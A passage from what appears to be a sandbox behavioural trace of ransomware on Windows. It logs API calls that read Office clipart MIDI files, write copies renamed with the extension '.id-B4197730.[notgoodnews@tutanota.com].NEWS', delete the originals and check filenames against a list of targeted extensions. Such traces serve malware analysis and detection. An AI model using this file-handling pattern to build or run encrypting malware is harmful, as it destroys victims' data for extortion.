dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.926] GetLastError () returned 0x0 [0167.926] ReadFile (in: hFile=0x54c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x1540, lpOverlapped=0x0) returned 1 [0167.941] WriteFile (in: hFile=0x514, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x1550, lpOverlapped=0x0) returned 1 [0167.942] ReadFile (in: hFile=0x54c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.943] WriteFile (in: hFile=0x514, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.943] SetEndOfFile (hFile=0x514) returned 1 [0167.943] CloseHandle (hObject=0x514) returned 1 [0167.947] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.947] SetEndOfFile (hFile=0x54c) returned 1 [0167.950] CloseHandle (hObject=0x54c) returned 1 [0167.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0167.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0167.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0167.951] lstrlenW (lpString=".doc") returned 4 [0167.952] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.952] lstrlenW (lpString=".docx") returned 5 [0167.952] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.952] lstrlenW (lpString=".pdf") returned 4 [0167.952] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.952] lstrlenW (lpString=".xls") returned 4 [0167.952] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.952] lstrlenW (lpString=".xlsx") returned 5 [0167.952] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.952] lstrlenW (lpString=".ppt") returned 4 [0167.952] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0167.952] lstrlenW (lpString=".zip") returned 4 [0167.952] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.952] lstrlenW (lpString=".rar") returned 4 [0167.952] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.952] lstrlenW (lpString=".bz2") returned 4 [0167.952] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.952] lstrlenW (lpString=".7z") returned 3 [0167.952] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0167.952] lstrlenW (lpString=".dbf") returned 4 [0167.952] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0167.952] lstrlenW (lpString=".1cd") returned 4 [0167.952] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0167.952] lstrlenW (lpString=".jpg") returned 4 [0167.952] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0167.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0167.953] lstrlenW (lpString=".doc") returned 4 [0167.953] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.953] lstrlenW (lpString=".docx") returned 5 [0167.953] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.953] lstrlenW (lpString=".pdf") returned 4 [0167.953] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.953] lstrlenW (lpString=".xls") returned 4 [0167.953] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.953] lstrlenW (lpString=".xlsx") returned 5 [0167.953] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.953] lstrlenW (lpString=".ppt") returned 4 [0167.953] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0167.953] lstrlenW (lpString=".zip") returned 4 [0167.953] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.953] lstrlenW (lpString=".rar") returned 4 [0167.953] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.953] lstrlenW (lpString=".bz2") returned 4 [0167.953] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.953] lstrlenW (lpString=".7z") returned 3 [0167.953] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0167.953] lstrlenW (lpString=".dbf") returned 4 [0167.953] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0167.954] lstrlenW (lpString=".1cd") returned 4 [0167.954] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0167.954] lstrlenW (lpString=".jpg") returned 4 [0167.954] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.954] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.954] lstrlenW (lpString="PAPER_01.MID") returned 12 [0167.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.300] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=6763) returned 1 [0168.300] CloseHandle (hObject=0x3ac) returned 1 [0168.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 0x220 [0168.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.301] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.301] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.305] GetLastError () returned 0x0 [0168.305] ReadFile (in: hFile=0x3ac, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x1a6b, lpOverlapped=0x0) returned 1 [0168.330] WriteFile (in: hFile=0x51c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x1a70, lpOverlapped=0x0) returned 1 [0168.331] ReadFile (in: hFile=0x3ac, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.331] WriteFile (in: hFile=0x51c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.331] SetEndOfFile (hFile=0x51c) returned 1 [0168.331] CloseHandle (hObject=0x51c) returned 1 [0168.332] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.332] SetEndOfFile (hFile=0x3ac) returned 1 [0168.335] CloseHandle (hObject=0x3ac) returned 1 [0168.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0168.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0168.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0168.336] lstrlenW (lpString=".doc") returned 4 [0168.336] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.336] lstrlenW (lpString=".docx") returned 5 [0168.337] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0168.337] lstrlenW (lpString=".pdf") returned 4 [0168.337] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.337] lstrlenW (lpString=".xls") returned 4 [0168.337] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.337] lstrlenW (lpString=".xlsx") returned 5 [0168.337] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0168.337] lstrlenW (lpString=".ppt") returned 4 [0168.337] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0168.337] lstrlenW (lpString=".zip") returned 4 [0168.337] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.337] lstrlenW (lpString=".rar") returned 4 [0168.337] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.337] lstrlenW (lpString=".bz2") returned 4 [0168.337] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.337] lstrlenW (lpString=".7z") returned 3 [0168.337] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0168.337] lstrlenW (lpString=".dbf") returned 4 [0168.337] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0168.337] lstrlenW (lpString=".1cd") returned 4 [0168.337] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0168.337] lstrlenW (lpString=".jpg") returned 4 [0168.337] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0168.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0168.338] lstrlenW (lpString=".doc") returned 4 [0168.338] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.338] lstrlenW (lpString=".docx") returned 5 [0168.338] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0168.338] lstrlenW (lpString=".pdf") returned 4 [0168.338] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.338] lstrlenW (lpString=".xls") returned 4 [0168.338] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.338] lstrlenW (lpString=".xlsx") returned 5 [0168.338] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0168.338] lstrlenW (lpString=".ppt") returned 4 [0168.338] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0168.338] lstrlenW (lpString=".zip") returned 4 [0168.338] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.338] lstrlenW (lpString=".rar") returned 4 [0168.338] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.338] lstrlenW (lpString=".bz2") returned 4 [0168.338] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.338] lstrlenW (lpString=".7z") returned 3 [0168.338] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0168.338] lstrlenW (lpString=".dbf") returned 4 [0168.338] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0168.338] lstrlenW (lpString=".1cd") returned 4 [0168.339] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0168.339] lstrlenW (lpString=".jpg") returned 4 [0168.339] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.339] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0168.339] lstrlenW (lpString="PARNT_04.MID") returned 12 [0168.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.340] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=6070) returned 1 [0168.340] CloseHandle (hObject=0x3ac) returned 1 [0168.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 0x220 [0168.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.341] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.341] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.342] GetLastError () returned 0x0 [0168.342] ReadFile (in: hFile=0x3ac, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x17b6, lpOverlapped=0x0) returned 1 [0168.821] WriteFile (in: hFile=0x51c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x17c0, lpOverlapped=0x0) returned 1 [0168.822] ReadFile (in: hFile=0x3ac, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.822] WriteFile (in: hFile=0x51c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.822] SetEndOfFile (hFile=0x51c) returned 1 [0168.822] CloseHandle (hObject=0x51c) returned 1 [0168.822] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.822] SetEndOfFile (hFile=0x3ac) returned 1 [0168.825] CloseHandle (hObject=0x3ac) returned 1 [0168.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0168.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0168.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0168.826] lstrlenW (lpString=".doc") returned 4 [0168.826] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.826] lstrlenW (lpString=".docx") returned 5 [0168.826] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0168.826] lstrlenW (lpString=".pdf") returned 4 [0168.826] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.826] lstrlenW (lpString=".xls") returned 4 [0168.826] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.826] lstrlenW (lpString=".xlsx") returned 5 [0168.826] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0168.826] lstrlenW (lpString=".ppt") returned 4 [0168.826] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0168.826] lstrlenW (lpString=".zip") returned 4 [0168.827] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.827] lstrlenW (lpString=".rar") returned 4 [0168.827] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.827] lstrlenW (lpString=".bz2") returned 4 [0168.827] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.827] lstrlenW (lpString=".7z") returned 3 [0168.827] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0168.827] lstrlenW (lpString=".dbf") returned 4 [0168.827] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0168.827] lstrlenW (lpString=".1cd") returned 4 [0168.827] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0168.827] lstrlenW (lpString=".jpg") returned 4 [0168.827] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0168.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0168.827] lstrlenW (lpString=".doc") returned 4 [0168.827] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.827] lstrlenW (lpString=".docx") returned 5 [0168.827] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0168.827] lstrlenW (lpString=".pdf") returned 4 [0168.827] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.827] lstrlenW (lpString=".xls") returned 4 [0168.827] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.827] lstrlenW (lpString=".xlsx") returned 5 [0168.827] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0168.827] lstrlenW (lpString=".ppt") returned 4 [0168.827] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0168.827] lstrlenW (lpString=".zip") returned 4 [0168.827] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.827] lstrlenW (lpString=".rar") returned 4 [0168.827] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.827] lstrlenW (lpString=".bz2") returned 4 [0168.827] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.828] lstrlenW (lpString=".7z") returned 3 [0168.828] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0168.828] lstrlenW (lpString=".dbf") returned 4 [0168.828] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0168.828] lstrlenW (lpString=".1cd") returned 4 [0168.828] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0168.828] lstrlenW (lpString=".jpg") returned 4 [0168.828] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.828] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0168.828] lstrlenW (lpString="PARNT_07.MID") returned 12 [0168.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.829] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=6564) returned 1 [0168.829] CloseHandle (hObject=0x3ac) returned 1 [0168.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 0x220 [0168.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.830] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.830] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 